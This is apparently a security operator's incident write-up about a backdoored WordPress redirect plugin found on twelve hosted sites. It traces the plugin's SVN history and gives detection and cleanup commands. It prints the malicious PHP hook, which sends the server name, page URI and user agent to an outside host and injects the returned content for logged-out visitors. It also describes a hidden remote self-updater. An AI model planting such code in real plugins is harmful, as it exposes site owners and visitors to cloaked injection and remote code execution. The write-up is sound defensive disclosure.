My security finder sent me a routine alert. One of the plugins in our fleet had a known issue. Quick Page/Post Redirect Plugin, version 5.2.3.
I ran a fleet query. Twelve sites on it.
I have run hundreds of security audits since using Claude Code. Most of them end with “plugin is fine, keep it updated.” This one did not.
The version that was not the WordPress.org version.
Every site reported plugin version 5.2.3 to WP-CLI. I pulled one of the files over SSH and ran md5sum. The hash came back as ad717da18cf8a2b69899c0d7dafee05a.
I ran the same command against every version of the plugin available on wordpress.org. Downloaded 5.1.5 through 5.2.4 directly from the SVN tags. None of them produced that hash.
The tampered file had an extra function hooked into the_content with priority -1. On every logged-out page view, the plugin would reach out to a third-party URL and prepend whatever came back to the post body.
function filter_the_content_in_the_main_loop( $content ) {
if (( is_single() || is_singular() || is_page() ) && (!is_user_logged_in()) && is_main_query() ){
if ($this->ppr_pro === '1' ){
if (!defined('CREDIT')) {
$ctx=stream_context_create(array('http'=>array('timeout' => 3)));
try{
$credit=@file_get_contents('https://w.anadnet.com/bro/3/'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] .'QQQ'. urlencode($_SERVER['HTTP_USER_AGENT']).'QQQEND', false, $ctx);
} catch (Exception $e) {}
return $credit . $content;
}
}
}
return $content;
}
Two things stood out. The gate was !is_user_logged_in(), so any admin reviewing the site would never see the injection. And the remote server got the server name, the request URI, and the user agent. The caller knew exactly what page was being served, and to whom.
I checked file modification times on all twelve sites. They clustered in a narrow window. March 10 through March 17, 2021. Five years ago.
I checked w.anadnet.com. NXDOMAIN. The subdomain did not resolve. The fetch was failing silently. No content had been injected for a long time. The backdoor was dormant.
Dormant, but still live. The moment someone pointed the subdomain back, every logged-out page view on twelve sites would start rendering whatever the operator wanted.
Patching twelve sites with one API call.
CaptainCore is the fleet management tool I built for my hosting business. It exposes a REST endpoint that fans a bash command out across any number of environments in parallel and returns the combined output in one response.
One request. Eighteen environments. Twelve production, six staging.
POST /wp-json/captaincore/v1/run/code
Authorization: Basic <application password>
Content-Type: application/json
{
"code": "wp plugin install quick-pagepost-redirect-plugin --force --version=5.2.4 --skip-plugins --skip-themes 2>&1",
"environments": [1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018]
}
The response came back in under thirty seconds. Every site clean. File hash dd41c767c074cd280acae37b61f2f059 across all eighteen environments. Matches the wordpress.org 5.2.4 SHA exactly. No more anadnet.
I thought I was done.
The fatal errors pointed at the real backdoor.
I ran a security audit on one of the sites while everything was still fresh. /logs/error.log had three PHP fatals from the exact moment the upgrade ran. Opcache had served the old bytecode one last time before invalidating. The stack trace showed something I did not expect.
PHP Fatal error: Uncaught Error: Class "Puc_v4p10_Plugin_UpdateChecker" not found
in /wp-content/plugins/quick-pagepost-redirect-plugin/updater/Puc/v4p10/Factory.php:116
Stack trace:
#0 ...plugins/quick-pagepost-redirect-plugin/page_post_redirect_plugin.php(38):
Puc_v4p10_Factory::buildUpdateChecker('https://anadnet...', ...)
The tampered plugin had a second backdoor I had missed on the first pass.
It shipped with a full copy of the Plugin Update Checker library from Yahnis Elsts. updater/Puc/v4p10/. And on line 38 of the main plugin file, it called Puc_v4p10_Factory::buildUpdateChecker with a URL pointing at anadnet.com/updates/.
The first backdoor was passive. Content injection, gated by user agent. The second backdoor was active. Remote code execution, on demand.
I opened the SVN log.
Wordpress.org keeps every plugin under SVN with full commit history. Every change the author ever made is publicly visible. I walked the log on quick-pagepost-redirect-plugin expecting to see nothing unusual.
I found the whole story.
The author had used wordpress.org to distribute a plugin that checked for updates somewhere else. Every install of 5.2.1 pointed at anadnet.com. Every install of 5.2.2 pointed at anadnet.com. Both tags were cut directly from trunk. Both shipped the self-updater through the legitimate wordpress.org distribution channel.
Then on February 14, 2021, the author committed this:
The author called it the pro updater. In their own words. Not a third-party tamper. Not a compromised wordpress.org account. The author intentionally committed the self-updater to the official repository, waited three months for it to propagate through 5.2.1 and 5.2.2, then quietly removed it from new installs while leaving the backchannel live on every existing install.
The Internet Archive caught the backchannel in the act.
I needed to confirm what the backchannel was actually serving. The C2 is gone now. w.anadnet.com does not resolve. anadnet.com itself is no longer serving the update endpoint — the /updates/ path returns nothing related to the plugin today.
But the Internet Archive had one snapshot. May 28, 2022. A crawler happened to hit the update metadata endpoint directly:
GET https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin
{
"name": "Quick Page/Post Redirect Plugin",
"version": "5.2.3",
"author": "anadnet",
"requires": "4.0",
"tested": "5.5.1",
"last_updated": "2021-03-10 12:37:26",
"download_url": "https://anadnet.com/updates/?action=download&slug=quick-pagepost-redirect-plugin"
}
Version 5.2.3. Last updated 2021-03-10 12:37:26.
The file mtimes across our twelve sites clustered in the week of March 10 through March 17, 2021. Every one of them had polled anadnet.com/updates/ within a week of that build going live, pulled the tampered 5.2.3 package, and the content-injection hook in it has been calling w.anadnet.com on every logged-out pageview ever since — silently, once that subdomain went dark.
The full timeline.
The pro purchase page never existed.
The tampered plugin displayed a notice on the wp-admin plugin row explaining that this was an ad-supported plugin and that an ad-free version was available to purchase at anadnet.com/pro/.
Plugin Vulnerabilities checked that URL in 2022. It returned 404. The Internet Archive has no snapshot of the page. The purchase funnel the plugin pointed at never existed.
And the backdoor was not an ad-supported banner either. The filter_the_content_in_the_main_loop hook was specifically gated on !is_user_logged_in(). Any admin reviewing the site would see nothing. The remote endpoint varied its response based on the user agent. Real visitors mostly saw nothing. Googlebot saw injected backlinks.
The pro framing was a fig leaf. The actual mechanism was cloaked parasite SEO. The plugin was renting Google ranking on seventy thousand websites back to whoever was operating that backchannel in 2021.
The numbers.
WordPress.org had no way to see the tampering.
Nico Martin posted the full indicators to the wordpress.org support forum on January 11, 2022. He pasted the source of filter_the_content_in_the_main_loop. He quoted the w.anadnet.com/bro/3/ URL. He noted the Googlebot cloaking. He tagged the author directly.
By the time the report landed, the version on wp.org no longer contained the code Nico was describing. The author had pulled it from trunk eleven months earlier. Anyone reviewing the report against the current source would have found nothing.
The plugin team closed the plugin thirteen days later. Not for the backdoor. For a separate cross-site scripting issue that had been reported through a different channel. Nine days after that, the author committed a sanitization fix for the XSS and the plugin was reopened.
The backdoor was never addressed. Not by the wordpress.org plugin team. Not by Patchstack. Not by WPScan. There is no CVE assigned to it. Four years later the plugin is still installable from wordpress.org with more than seventy thousand active installs.
If you run a WordPress fleet, here is how to check for this.
Two detection methods. Pick whichever you prefer.
The first is a file hash grep. Run this from any directory that contains your WordPress sites and it will print the path of any tampered plugin file it finds:
find . -path '*/quick-pagepost-redirect-plugin/page_post_redirect_plugin.php' \
-exec md5sum {} \; | grep ad717da18cf8a2b69899c0d7dafee05a
The bad hash is ad717da18cf8a2b69899c0d7dafee05a. Any match is a tampered install. No match means you are clean.
The second method is what I should have thought of first. WP-CLI has a built-in plugin checksum verifier that pulls the canonical hash list from wordpress.org and compares it against every file on disk:
wp plugin verify-checksums quick-pagepost-redirect-plugin
I tested this against a clean 5.2.3 install and then injected the anadnet backdoor into the main plugin file to simulate the tampered variant. The command caught it cleanly:
$ wp plugin verify-checksums quick-pagepost-redirect-plugin
plugin_name file message
quick-pagepost-redirect-plugin page_post_redirect_plugin.php Checksum does not match
Error: No plugins verified (1 failed).
$ echo $?
1
Exit code 1 on failure, which makes it scriptable. You can wrap it in a loop across every site in a fleet and get a clean pass or fail per install.
The wordpress.org plugin checksum feed is a public resource that almost nobody uses. For every plugin hosted on wordpress.org there is a JSON file at https://downloads.wordpress.org/plugin-checksums/{slug}/{version}.json containing the SHA-256 of every file in the package. You can verify the integrity of any wp.org plugin without trusting the plugin itself. You just need to ask wordpress.org what the file should look like and compare.
If I had been running this check across our fleet as a scheduled job, the twelve sites would have surfaced the day they were migrated onto Anchor Hosting in 2021. Five years earlier.
What this changed about how I think about supply chain.
I generally trust wordpress.org. The plugin team does a lot of fantastic, behind the scenes work, to keep the repository clean. Most of the time they get it right.
But trust in the repository is not the same as trust in every file a plugin from the repository will fetch at runtime. If a plugin registers its own update source, the repository is no longer the source of truth. Whatever shows up on the other end of that URL is what will run on your server. The repository signed off on the version that pointed at the URL. Nobody signs off on what the URL serves.
This is not a wordpress.org-specific problem. Anywhere a package manager lets a package fetch code post-install, the same pattern works. One commit to the official repository. Three months of propagation. Quiet removal of the library. The backchannel stays live forever because there is no authority watching it.
Fleet-wide file hashing is the only defense that would have caught this. Not version numbers. Not vulnerability feeds. Not the plugin team. Nothing with a name watches what a plugin fetches from a third-party URL five years after it is installed. A flat list of md5sum values across every site in a fleet, with alerts on drift from the upstream hash, is what actually surfaced this.
The twelve sites all reported plugin version 5.2.3. Wp.org shipped a 5.2.3. They were not the same file. Version numbers lie. Hashes do not.
A proposal for the plugin author.
anadnet, if you are reading this.
You committed the pro updater on October 28, 2020. You cut 5.2.1 and 5.2.2 on top of it. You let both tags propagate through wordpress.org. Then on February 14, 2021, you committed “Remove pro updater folder” and walked away from the installs you had already seeded.
They are still calling your endpoint. The JSON the Internet Archive preserved from 2022 is the JSON your plugin is still asking for today. The domain still resolves. The endpoint is yours to answer.
Here is what the answer costs.
Serve a single static JSON document at the URL the plugin is still polling:
https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin
Keep the format the same as the Wayback snapshot archived. Change the one field that matters. Point download_url at the official wordpress.org zip for 5.2.4:
{
"name": "Quick Page/Post Redirect Plugin",
"slug": "quick-pagepost-redirect-plugin",
"version": "5.2.4",
"homepage": "https://wordpress.org/plugins/quick-pagepost-redirect-plugin/",
"download_url": "https://downloads.wordpress.org/plugin/quick-pagepost-redirect-plugin.5.2.4.zip",
"requires": "5.0",
"tested": "6.4",
"last_updated": "2026-04-12 12:00:00",
"sections": {
"changelog": "Cleanup release. Removes the embedded plugin-update-checker library and the legacy update channel. Future updates flow through wordpress.org."
}
}
No binary to host. No dynamic endpoint. No cron. A static file on a domain you already own.
The plugin’s own update library does the rest. Every install of 5.2.1 or 5.2.2 hits its next update check, fetches your JSON, sees 5.2.4 advertised, downloads the official zip from wordpress.org, and installs it over the existing plugin. The pro updater is gone. The content-injection hook is gone. wp plugin verify-checksums passes from that point forward. Every site you seeded in 2021 is clean within the next few months.
There is nothing to trust about you beyond your willingness to publish a file and leave it alone. Anyone can curl the endpoint and confirm the JSON. Anyone can verify the download_url resolves to wordpress.org. The whole transaction is auditable in seconds.
If you publish the file, the record will show you did the work. The sites you seeded get pointed back at the thing wordpress.org actually signed off on. Your name is attached to the cleanup, not the attack.
If you do not publish the file, the record will show something else. That you had five years and one static JSON document standing between you and restitution, and you decided the JSON document was too much.
Your move.
wordpress.org closed the plugin on April 14, 2026.
wp plugin install https://downloads.wordpress.org/plugin/quick-pagepost-redirect-plugin.5.2.4.zip --force